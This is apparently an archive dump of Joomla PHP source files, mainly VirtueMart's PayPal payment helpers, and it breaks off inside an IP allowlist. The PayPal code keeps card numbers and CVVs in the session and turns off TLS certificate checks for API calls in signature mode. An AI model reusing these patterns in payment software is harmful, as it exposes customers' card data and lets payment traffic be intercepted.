	 * @since  1.7.1
	 * @deprecated  3.0
	 */
	public static function getLangfilter()
	{
		JLog::add('multilangstatusHelper::getLangfilter() is deprecated. Use JLanguageMultilang::isEnabled() instead. ', JLog::WARNING, 'deprecated');
		return JLanguageMultilang::isEnabled();
	}

	public static function getLangswitchers()
	{
		// Check if switcher is published
		$db			= JFactory::getDBO();
		$query		= $db->getQuery(true);
		$query->select('COUNT(*)');
		$query->from($db->quoteName('#__modules'));
		$query->where('module = ' . $db->quote('mod_languages'));
		$query->where('published = 1');
		$query->where('client_id = 0');
		$db->setQuery($query);
		return $db->loadResult();
	}

	public static function getContentlangs()
	{
		// Check for published Content Languages
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);
		$query->select('a.lang_code AS lang_code');
		$query->select('a.published AS published');
		$query->from('#__languages AS a');
		$db->setQuery($query);
		return $db->loadObjectList();
	}

	public static function getSitelangs()
	{
		// check for published Site Languages
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);
		$query->select('a.element AS element');
		$query->from('#__extensions AS a');
		$query->where('a.type = '.$db->Quote('language'));
		$query->where('a.client_id = 0');
		$db->setQuery($query);
		return $db->loadObjectList('element');
	}

	public static function getHomepages()
	{
		// Check for Home pages languages
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);
		$query->select('language');
		$query->select('id');
		$query->from($db->quoteName('#__menu'));
		$query->where('home = 1');
		$query->where('published = 1');
		$query->where('client_id = 0');
		$db->setQuery($query);
		return $db->loadObjectList('language');
	}

	public static function getStatus()
	{
		//check for combined status
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);

		// Select all fields from the languages table.
		$query->select('a.*', 'l.home');
		$query->select('a.published AS published');
		$query->select('a.lang_code AS lang_code');
		$query->from('#__languages AS a');

		// Select the language home pages
		$query->select('l.home AS home');
		$query->select('l.language AS home_language');
		$query->join('LEFT', '#__menu  AS l  ON  l.language = a.lang_code AND l.home=1 AND l.published=1 AND l.language <> \'*\'' );
		$query->select('e.enabled AS enabled');
		$query->select('e.element AS element');
		$query->join('LEFT', '#__extensions  AS e ON e.element = a.lang_code');
		$query->where('e.client_id = 0');
		$query->where('e.enabled = 1');
		$query->where('e.state = 0');

		$db->setQuery($query);
		return $db->loadObjectList();
	}

	public static function getContacts()
	{
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('u.name, count(cd.language) as counted, MAX(cd.language='.$db->quote('*').') as all_languages');
		$query->from('#__users AS u');
		$query->leftJOIN('#__contact_details AS cd ON cd.user_id=u.id');
		$query->leftJOIN('#__languages as l on cd.language=l.lang_code');
		$query->where('EXISTS (SELECT * from #__content as c where  c.created_by=u.id)');
		$query->where('(l.published=1 or cd.language='.$db->quote('*').')');
		$query->where('cd.published=1');
		$query->group('u.id');
		$query->having('(counted !=' . count(JLanguageHelper::getLanguages()).' OR all_languages=1)');
		$query->having('(counted !=1 OR all_languages=0)');
		$db->setQuery($query);
		return $db->loadObjectList();
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������admirorgallery.php����������������������������������������������������������������������������������0000666�����������������00000003335�15137335126�0010310 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
 /*------------------------------------------------------------------------
# com_admirorgallery - Admiror Gallery Component
# ------------------------------------------------------------------------
# author   Igor Kekeljevic & Nikola Vasiljevski
# copyright Copyright (C) 2011 admiror-design-studio.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.admiror-design-studio.com/joomla-extensions
# Technical Support:  Forum - http://www.vasiljevski.com/forum/index.php
# Version: 4.5.0
-------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die;

/**
 * AdmirorGallery component helper.
 */
abstract class AdmirorGalleryHelper
{
	/**
	 * Configure the Linkbar.
	 */
	public static function addSubmenu($submenu,$type)
	{
		JSubMenuHelper::addEntry(JText::_('COM_ADMIRORGALLERY_CONTROL_PANEL'),
		                         'index.php?option=com_admirorgallery&amp;controller=admirorgallery', $submenu == 'control_panel');
		JSubMenuHelper::addEntry(JText::_('COM_ADMIRORGALLERY_TEMPLATES'),
		                         'index.php?option=com_admirorgallery&amp;view=resourcemanager&amp;AG_resourceType=templates',
		                         $type == 'templates');
		JSubMenuHelper::addEntry(JText::_('COM_ADMIRORGALLERY_POPUPS'),
		                         'index.php?option=com_admirorgallery&amp;view=resourcemanager&amp;AG_resourceType=popups',
		                         $type == 'popups');
		JSubMenuHelper::addEntry(JText::_('COM_ADMIRORGALLERY_IMAGE_MANAGER'),
		                         'index.php?option=com_admirorgallery&amp;view=imagemanager',
		                         $submenu == 'imagemanager');
	}
}

?>
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������customerdata.php������������������������������������������������������������������������������������0000666�����������������00000014424�15137407016�0007765 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * Paypal  payment plugin
 *
 * @author Jeremy Magne
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


defined('_JEXEC') or die('Restricted access');

class PaypalHelperCustomerData {

	private $_selected_method = '';
	private $_autobilling_max_amount = '';
	private $_cc_name = '';
	private $_cc_type = '';
	private $_cc_number = '';
	private $_cc_cvv = '';
	private $_cc_expire_month = '';
	private $_cc_expire_year = '';
	private $_cc_valid = false;
	private $_errormessage = array();
	private $_token = '';
	private $_payer_id = '';
	private $_first_name = '';
	private $_last_name = '';
	private $_payer_email = '';

//    private $_txn_id = '';
//    private $_txn_type = '';
//    private $_payment_status = '';
//    private $_pending_reason = '';


	public function load() {

		//$this->clear();

		$session = JFactory::getSession();
		$sessionData = $session->get('paypal', 0, 'vm');

		if (!empty($sessionData)) {
			$data = unserialize($sessionData);
			$this->_selected_method = $data->selected_method;
			// card information
			$this->_cc_type = $data->cc_type;
			$this->_cc_number = $data->cc_number;
			$this->_cc_cvv = $data->cc_cvv;
			$this->_cc_expire_month = $data->cc_expire_month;
			$this->_cc_expire_year = $data->cc_expire_year;
			$this->_cc_valid = $data->cc_valid;
			//Customer settings
			$this->_autobilling_max_amount = $data->autobilling_max_amount;
			//PayPal Express
			$this->_token = $data->token;
			$this->_payer_id = $data->payer_id;
			$this->_first_name = $data->first_name;
			$this->_last_name = $data->last_name;
			$this->_payer_email = $data->payer_email;

//			$this->_txn_id = $data->txn_id;
//			$this->_txn_type = $data->txn_type;
//			$this->_payment_status = $data->payment_status;
//			$this->_pending_reason = $data->pending_reason;

			$this->save();
			return $data;
		}
	}

	public function loadPost() {

		// card information
		$virtuemart_paymentmethod_id = JRequest::getVar('virtuemart_paymentmethod_id', 0);
		//if ($virtuemart_paymentmethod_id) {
		//	print_trace();
		//$this->clear();
		//}

		$this->_selected_method = $virtuemart_paymentmethod_id;
		$cctype = JRequest::getVar('cc_type_' . $virtuemart_paymentmethod_id, '');
		if ($cctype) {
			$this->_cc_type = $cctype;
		}

		$cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, '');
		if ($cc_name) {
			$this->_cc_name = $cc_name;
		}

		$cc_number = JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, '');
		if ($cc_number) {
			$this->_cc_number = $cc_number;
		}

		$cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, '');
		if ($cc_cvv) {
			$this->_cc_cvv = $cc_cvv;
		}

		$cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, '');
		if ($cc_expire_month) {
			$this->_cc_expire_month = $cc_expire_month;
		}

		$cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, '');
		if ($cc_expire_year) {
			$this->_cc_expire_year = $cc_expire_year;
		}

		//Customer settings
		$autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, '');
		if ($autobilling_max_amount) {
			$this->_autobilling_max_amount = $autobilling_max_amount;
		}

//		$this->_cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, '');
//		$this->_cc_number = str_replace(" ","",JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, ''));
//		$this->_cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, '');
//		$this->_cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, '');
//		$this->_cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, '');
//		//Customer settings
//		$this->_autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, '');

		$this->save();
	}

	public function save() {
		$session = JFactory::getSession();
		$sessionData = new stdClass();
		$sessionData->selected_method = $this->_selected_method;
		// card information
		$sessionData->cc_type = $this->_cc_type;
		$sessionData->cc_number = $this->_cc_number;
		$sessionData->cc_cvv = $this->_cc_cvv;
		$sessionData->cc_expire_month = $this->_cc_expire_month;
		$sessionData->cc_expire_year = $this->_cc_expire_year;
		$sessionData->cc_valid = $this->_cc_valid;
		//Customer settings
		$sessionData->autobilling_max_amount = $this->_autobilling_max_amount;
		//PayPal Express
		$sessionData->token = $this->_token;
		$sessionData->payer_id = $this->_payer_id;
		$sessionData->first_name = $this->_first_name;
		$sessionData->last_name = $this->_last_name;
		$sessionData->payer_email = $this->_payer_email;

//		$sessionData->txn_id = $this->_txn_id;
//		$sessionData->txn_type = $this->_txn_type;
//		$sessionData->payment_status = $this->_payment_status;
//		$sessionData->pending_reason = $this->_pending_reason;

		$session->set('paypal', serialize($sessionData), 'vm');
	}

	public function reset() {
		$this->_selected_method = '';
		// card information
		$this->_cc_type = '';
		$this->_cc_number = '';
		$this->_cc_cvv = '';
		$this->_cc_expire_month = '';
		$this->_cc_expire_year = '';
		//Customer settings
		$this->_autobilling_max_amount = '';
		//PayPal Express
		$this->_token = '';
		$this->_payer_id = '';
		$this->_first_name = '';
		$this->_last_name = '';
		$this->_payer_email = '';

//		$this->_txn_id = '';
//		$this->_txn_type = '';
//		$this->_payment_status = '';
//		$this->_pending_reason = '';

		$this->save();
	}

	public function clear() {
		$session = JFactory::getSession();
		$session->clear('paypal', 'vm');
	}

	public function getVar($var) {
		$this->load();
		return $this->{'_' . $var};
	}

	public function setVar($var, $val) {
		$this->{'_' . $var} = $val;
	}

}
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/**
 *
 * Paypal payment plugin
 *
 * @author Jeremy Magne
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


//PayPal error codes:
//https://developer.paypal.com/webapps/developer/docs/classic/api/errorcodes/

defined('_JEXEC') or die('Restricted access');

class PaypalHelperPaypal {

	var $_method;
	var $cart;
	var $order;
	var $vendor;
	var $customerData;
	var $context;
	var $total;
	var $post_variables;
	var $post_string;
	var $requestData;
	var $response;
	var $currency_code_3;
	var $currency_display;
	var $paypalPlugin;
	private $_timeout = 60;
	const TIMEOUT_SETEXPRESSCHECKOUT = 15;
	const TIMEOUT_GETEXPRESSCHECKOUTDETAILS = 15;
	const TIMEOUT_OTHERS = 60;

	const FRAUD_FAILURE_ERROR_CODE = 10486;
	const FMF_PENDED_ERROR_CODE = 11610;
	const FMF_DENIED_ERROR_CODE = 11611;
	const BNCODE = "VirtueMart_Cart_PPA";


	function __construct($method, $paypalPlugin) {
		$session = JFactory::getSession();
		$this->context = $session->getId();
		$this->_method = $method;
		$this->paypalPlugin = $paypalPlugin;
		//Set the vendor
		$vendorModel = VmModel::getModel('Vendor');
		$vendorModel->setId($this->_method->virtuemart_vendor_id);
		$vendor = $vendorModel->getVendor();
		$vendorModel->addImages($vendor, 1);
		$this->vendor = $vendor;

		$this->getPaypalPaymentCurrency();
	}

	function getPaypalPaymentCurrency($getCurrency = FALSE) {

		vmPSPlugin::getPaymentCurrency($this->_method);
		$this->currency_code_3 = shopFunctions::getCurrencyByID($this->_method->payment_currency, 'currency_code_3');

	}

	public function getContext() {
		return $this->context;
	}

	public function setCart($cart) {
		$this->cart = $cart;
		if (!isset($this->cart->pricesUnformatted)) {
			$this->cart->getCartPrices();
		}
	}

	public function setOrder($order) {
		$this->order = $order;
	}

	public function setCustomerData($customerData) {
		$this->customerData = $customerData;
	}

	public function loadCustomerData() {
		$this->customerData = new PaypalHelperCustomerData();
		$this->customerData->load();
		$this->customerData->loadPost();
	}

	function getItemName($name) {
		return substr(strip_tags($name), 0, 127);
	}

	function getProductAmount($productPricesUnformatted) {
		if ($productPricesUnformatted['salesPriceWithDiscount']) {
			return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPriceWithDiscount'], $this->_method->payment_currency);
		} else {
			return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPrice'], $this->_method->payment_currency);
		}
	}


	function addRulesBill($rules) {
		$handling = 0;
		foreach ($rules as $rule) {
			$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], $this->_method->payment_currency);
		}
		return $handling;
	}

	/**
	 * @return value
	 */
	function getHandlingAmount() {
		$handling = 0;
		$handling += $this->addRulesBill($this->cart->cartData['DBTaxRulesBill']);
		$handling += $this->addRulesBill($this->cart->cartData['taxRulesBill']);
		$handling += $this->addRulesBill($this->cart->cartData['DATaxRulesBill']);
		$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPricePayment'], $this->_method->payment_currency);
		return $handling;
	}

	public function setTotal($total) {
		if (!class_exists('CurrencyDisplay')) {
			require(JPATH_VM_ADMINISTRATOR . '/helpers/currencydisplay.php');
		}
		$this->total = vmPSPlugin::getAmountValueInCurrency($total, $this->_method->payment_currency);

		$cd = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
	}

	public function getTotal() {
		return $this->total;
	}

	public function getResponse() {
		return $this->response;
	}

	public function getRequest() {
		$this->debugLog($this->requestData, 'PayPal ' . $this->requestData['METHOD'] . ' Request variables ', 'debug');
		return $this->requestData;
	}

	protected function sendRequest($post_data) {
		$retryCodes = array('401', '403', '404',);

		$this->post_data = $post_data;
		$post_url = $this->_getApiUrl();

		$post_string = $this->ToUri($post_data);
		$curl_request = curl_init($post_url);
		curl_setopt($curl_request, CURLOPT_POSTFIELDS, $post_string);
		curl_setopt($curl_request, CURLOPT_HEADER, 0);
		curl_setopt($curl_request, CURLOPT_TIMEOUT, $this->_timeout);
		curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1);


		if ($this->_method->authentication == 'certificate') {
			$certPath = "";
			$passPhrase = "";
			$this->getSSLCertificate($certPath, $passPhrase);
			curl_setopt($curl_request, CURLOPT_SSLCERT, $certPath);
			curl_setopt($curl_request, CURLOPT_SSLCERTPASSWD, $passPhrase);
			curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, 1);
			curl_setopt($curl_request, CURLOPT_SSL_VERIFYHOST, 2);
		} else {
			curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, false);
		}


		curl_setopt($curl_request, CURLOPT_POST, 1);
		if (preg_match('/xml/', $post_url)) {
			curl_setopt($curl_request, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
		}

		$response = curl_exec($curl_request);

		if ($curl_error = curl_error($curl_request)) {
			$this->debugLog($curl_error, '----CURL ERROR----', 'error');
		}
		/*
				$httpStatus = curl_getinfo($curl_request, CURLINFO_HTTP_CODE);
				$retries = 0;
				if(in_array($httpStatus, $retryCodes) && isset($this->retry)) {
					$this->debugLog("Got $httpStatus response from server. Retrying");

					do 	{
						$result = curl_exec(debugLog);
						$httpStatus = curl_getinfo(debugLog, CURLINFO_HTTP_CODE);

					} while (in_array($httpStatus, self::$retryCodes) && ++$retries < $this->retry );


				}
				*/

		$responseArray = array();
		parse_str($response, $responseArray); // Break the NVP string to an array
		curl_close($curl_request);

		//$responseArray['invoice'] = $this->order['details']['BT']->order_number;
		$responseArray['custom'] = $this->context;
		$responseArray['method'] = $post_data['METHOD'];
		$this->response = $responseArray;

		if ($this->response['ACK'] == 'SuccessWithWarning') {
			$level = 'warning';
		} else {
			$level = 'debug';
		}

		$this->debugLog($post_data, 'PayPal ' . $post_data['METHOD'] . ' Request variables:', $level);
		$this->debugLog($this->response, 'PayPal response:', $level);

		return $this->response;

	}

	/**
	 * Get ssl parameters for certificate based client authentication
	 *
	 * @param string $certPath - path to client certificate file (PEM formatted file)
	 */
	public function getSSLCertificate(&$certifPath, &$passPhrase) {
		$safePath = VmConfig::get('forSale_path', '');
		if ($safePath) {
			$sslCertifFolder = $safePath . "paypal";

		}
		$certifPath = $sslCertifFolder . DS . $this->api_certificate;
	}

	protected function setTimeOut($value = 45) {
		$this->_timeout = $value;
	}

	protected function _getPayPalUrl($protocol = 'https://', $includePath = true) {
		$url = ($this->_method->sandbox ) ? $protocol . 'www.sandbox.paypal.com' : $protocol . 'www.paypal.com';
		if ($includePath) {
			$url .= '/cgi-bin/webscr';
		}
		return $url;
	}

	protected function _getApiUrl() {
		$url_auth = "";
		if ($this->_method->authentication == 'signature') {
			$url_auth = "-3t";
		}
		$url_environment = "";
		if ($this->_method->sandbox ) {
			$url_environment = ".sandbox";
		}
		//return ($this->_method->sandbox=='sandbox') ? 'https://api-3t.sandbox.paypal.com/nvp' : 'https://api-3t.paypal.com/nvp';
		return 'https://api' . $url_auth . $url_environment . '.paypal.com/nvp';
	}

	protected function getDurationValue($duration) {
		$parts = explode('-', $duration);
		return $parts[0];
	}

	protected function getDurationUnit($duration) {
		$parts = explode('-', $duration);
		return $parts[1];
	}

	protected function truncate($string, $length) {
		return substr($string, 0, $length);
	}

	protected function _getFormattedDate($month, $year) {

		return sprintf('%02d%04d', $month, $year);
	}

	public function validate($enqueueMessage = true) {
		return true;
	}

	public function validatecheckout($enqueueMessage = true) {
		return true;
	}

	function ToUri($post_variables) {
		$poststring = '';
		foreach ($post_variables AS $key => $val) {
			$poststring .= urlencode($key) . "=" . urlencode($val) . "&";
		}
		$poststring = rtrim($poststring, "& ");
		return $poststring;
	}

	public function displayExtraPluginInfo() {
		$extraInfo = '';
		if ($this->_method->payment_type == '_xclick-auto-billing' && $this->customerData->getVar('autobilling_max_amount')) {
			$cd = CurrencyDisplay::getInstance($this->_method->payment_currency);
			$extraInfo .= '<br/>';
			$extraInfo .= JText::_('VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT') . ': ' . $cd->priceDisplay($this->customerData->getVar('autobilling_max_amount'));
		}
		if ($this->_method->payment_type == '_xclick-subscriptions') {
			$extraInfo .= '<br /><span class="vmpayment_cardinfo">';
			$extraInfo .= $this->getRecurringProfileDesc();
			$extraInfo .= '</span>';
		}
		if ($this->_method->payment_type == '_xclick-payment-plan') {
			$extraInfo .= '<br /><span class="vmpayment_cardinfo">';
			$extraInfo .= $this->getPaymentPlanDesc();
			$extraInfo .= '</span>';
		}

		return $extraInfo;
	}

	public function getExtraPluginInfo() {
		$extraInfo = '';
		return $extraInfo;
	}

	public function getLogoImage() {
		if ($this->_method->logoimg) {
			return JURI::base() . '/images/stories/virtuemart/payment/' . $this->_method->logoimg;
		} else {
			return JURI::base() . $this->vendor->images[0]->file_url;
		}

	}

	public function getRecurringProfileDesc() {

//		$recurringDesc = '';
//		if ($this->_method->subcription_trials) {
//			$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'<br />';
//		}
//		$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '<br />';
//		$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '<br />';

		$durationValue = $this->getDurationValue($this->_method->subscription_duration);
		$durationUnit = $this->getDurationUnit($this->_method->subscription_duration);
		$recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_SUBSCRIPTION_DESCRIPTION', $durationValue, $durationUnit, $this->_method->subscription_term);
		return $recurringDesc;
	}

	public function getPaymentPlanDesc() {

//		$recurringDesc = '';
//		if ($this->_method->subcription_trials) {
//			$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'<br />';
//		}
//		$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '<br />';
//		$recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '<br />';

		$durationValue = $this->getDurationValue($this->_method->payment_plan_duration);
		$durationUnit = $this->getDurationUnit($this->_method->payment_plan_duration);
		$recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESCRIPTION', $this->_method->payment_plan_term, $durationValue, $durationUnit);
		if ($this->_method->payment_plan_defer && $this->_method->paypalproduct == 'std') {
			$defer_duration = $this->getDurationValue($this->_method->payment_plan_defer_duration);
			$defer_unit = $this->getDurationUnit($this->_method->payment_plan_defer_duration);
			$startDate = JFactory::getDate('+' . $defer_duration . ' ' . $defer_unit);
			$recurringDesc .= '<br/>' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4')));
		} else if ($this->_method->payment_plan_defer_strtotime) {
			$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
			$recurringDesc .= '<br/>' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4')));
			//$recurringDesc .= '<br/>'.JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT',date(JText::_('DATE_FORMAT_LC4'),strtotime('first day of next month')));
		}
		return $recurringDesc;
	}

	/********************************/
	/* Instant Payment Notification */
	/********************************/
	public function processIPN($paypal_data, $payments) {

		// check that the remote IP is from Paypal.
		if (!$this->checkPaypalIps($paypal_data)) {
			return false;
		}
		// Validate the IPN content upon PayPal
		if (!$this->validateIpnContent($paypal_data)) {
			return false;
		}
		//Check the PayPal response
		/*
		 * https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_html_IPNandPDTVariables
		 * The status of the payment:
		 * Canceled_Reversal: A reversal has been canceled. For example, you won a dispute with the customer, and the funds for the transaction that was reversed have been returned to you.
		 * Completed: The payment has been completed, and the funds have been added successfully to your account balance.
		 * Created: A German ELV payment is made using Express Checkout.
		 * Denied: You denied the payment. This happens only if the payment was previously pending because of possible reasons described for the pending_reason variable or the Fraud_Management_Filters_x variable.
		 * Expired: This authorization has expired and cannot be captured.
		 * Failed: The payment has failed. This happens only if the payment was made from your customer’s bank account.
		 * Pending: The payment is pending. See pending_reason for more information.
		 * Refunded: You refunded the payment.
		 * Reversed: A payment was reversed due to a chargeback or other type of reversal. The funds have been removed from your account balance and returned to the buyer. The reason for the reversal is specified in the ReasonCode element.
		 * Processed: A payment has been accepted.
		 * Voided: This authorization has been voided.
		 */
		$order_history = array();
		$order_history['customer_notified'] = 1;
		if ($paypal_data['txn_type'] == 'subscr_cancel') {
			$order_history['order_status'] = $this->_method->status_canceled;
		} elseif ($paypal_data['txn_type'] == 'mp_cancel') {
			$order_history['order_status'] = $this->_method->status_canceled;
		} elseif ($paypal_data['txn_type'] == 'subscr_eot') {
			$order_history['order_status'] = $this->_method->status_expired;
		} elseif ($paypal_data['txn_type'] == 'recurring_payment_expired') {
			$order_history['order_status'] = $this->_method->status_expired;
		} elseif ($paypal_data['txn_type'] == 'subscr_signup') {
			//TODO: Validate the response
			$order_history['order_status'] = $this->_method->status_success;
		} elseif ($paypal_data['txn_type'] == 'recurring_payment_profile_created') {
			if ($paypal_data['profile_status'] == 'Active') {
				$order_history['order_status'] = $this->_method->status_success;
			} else {
				$order_history['order_status'] = $this->_method->status_canceled;
			}

		} else if (strcmp($paypal_data['payment_status'], 'Completed') == 0) {
			$this->debugLog('Completed', 'payment_status', 'debug');

			// 1. check the payment_status is Completed
			// 2. check that txn_id has not been previously processed
			if ($this->_check_txn_id_already_processed($payments, $paypal_data['txn_id'])) {
				$this->debugLog($paypal_data['txn_id'], '_check_txn_id_already_processed', 'debug');
				return FALSE;
			}
			// 3. check email and amount currency is correct
			if ($paypal_data['txn_type'] != 'recurring_payment' && !$this->_check_email_amount_currency($payments, $paypal_data)) {
				return FALSE;
			}
			// now we can process the payment
			if (strcmp($paypal_data['payment_status'], 'Authorization') == 0) {
				$order_history['order_status'] = $this->_method->status_pending;
			} else {
				$order_history['order_status'] = $this->_method->status_success;
			}
			$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED', $this->order['details']['BT']->order_number);

		} elseif (strcmp($paypal_data['payment_status'], 'Pending') == 0) {
			$lang = JFactory::getLanguage();
			$key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_' . strtoupper($paypal_data['pending_reason']);
			if (!$lang->hasKey($key)) {
				$key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT';
			}
			$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING', $this->order['details']['BT']->order_number) . JText::_($key);
			$order_history['order_status'] = $this->_method->status_pending;

		} elseif (strcmp($paypal_data['payment_status'], 'Refunded') == 0) {
			if ($this->_is_full_refund($payments, $paypal_data)) {
				$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_REFUNDED', $this->order['details']['BT']->order_number);
				$order_history['order_status'] = $this->_method->status_refunded;
			} else {
				$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PARTIAL_REFUNDED', $this->order['details']['BT']->order_number);
				$order_history['order_status'] = isset($this->_method->status_partial_refunded) ? $this->_method->status_partial_refunded : 'R';
			}

		} elseif (isset ($paypal_data['payment_status'])) {
			// voided
			$order_history['order_status'] = $this->_method->status_canceled;
		} else {
			/*
			* a notification was received that concerns one of the payment (since $paypal_data['invoice'] is found in our table),
			* but the IPN notification has no $paypal_data['payment_status']
			* We just log the info in the order, and do not change the status, do not notify the customer
			*/
			$order_history['comments'] = JText::_('VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED');
			$order_history['customer_notified'] = 0;
		}
		return $order_history;
	}

	protected function checkPaypalIps($paypal_data) {
/*
		$test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0;
		if ($test_ipn == 1) {
			return true;
		}
*/
		$order_number = $paypal_data['invoice'];

		// Get the list of IP addresses for www.paypal.com and notify.paypal.com


		if ($this->_method->sandbox  ) {
			$paypal_iplist = gethostbynamel('ipn.sandbox.paypal.com');
			$paypal_iplist = (array)$paypal_iplist;
			$this->debugLog($paypal_iplist, 'checkPaypalIps SANDBOX', 'debug', false);

		} else {
			$paypal_iplist1 = gethostbynamel('www.paypal.com');
			$paypal_iplist2 = gethostbynamel('notify.paypal.com');
			$paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66');
			$paypal_iplist = array_merge($paypal_iplist1, $paypal_iplist2, $paypal_iplist3);
// http://forum.virtuemart.net/index.php?topic=115375.msg406664#msg406664

			$paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66');
			// Added JH 2013-10-12
			//Current IP addresses
			//------------api.paypal.com---------
			$paypal_iplist_api = array('173.0.88.66', '173.0.88.98', '173.0.84.66', '173.0.84.98',
				'173.0.80.00', '173.0.80.01', '173.0.80.02', '173.0.80.03', '173.0.80.04', '173.0.80.05', '173.0.80.06', '173.0.80.07', '173.0.80.08', '173.0.80.09', '173.0.80.10', '173.0.80.11', '173.0.80.12', '173.0.80.13', '173.0.80.14', '173.0.80.15', '173.0.80.16', '173.0.80.17', '173.0.80.18', '173.0.80.19', '173.0.80.20');
			//------------api-aa.paypal.com------------
			$paypal_iplist_api_aa = array('173.0.88.67', '173.0.88.99', '173.0.84.99', '173.0.84.67');
			//'------------api-3t.paypal.com------------'
			$paypal_iplist_api_3t_aa = array('173.0.88.69', '173.0.88.101', '173.0.84.69', '173.0.84.101');
			//------------api-aa-3t.paypal.com------------
			$paypal_iplist_api_aa_3t = array('173.0.88.68', '173.0.88.100', '173.0.84.68', '173.0.84.100');
			//------------notify.paypal.com (IPN delivery)------------
			$paypal_iplist_notify = array('173.0.81.1', '173.0.81.33');
			//'-----------reports.paypal.com-----------'
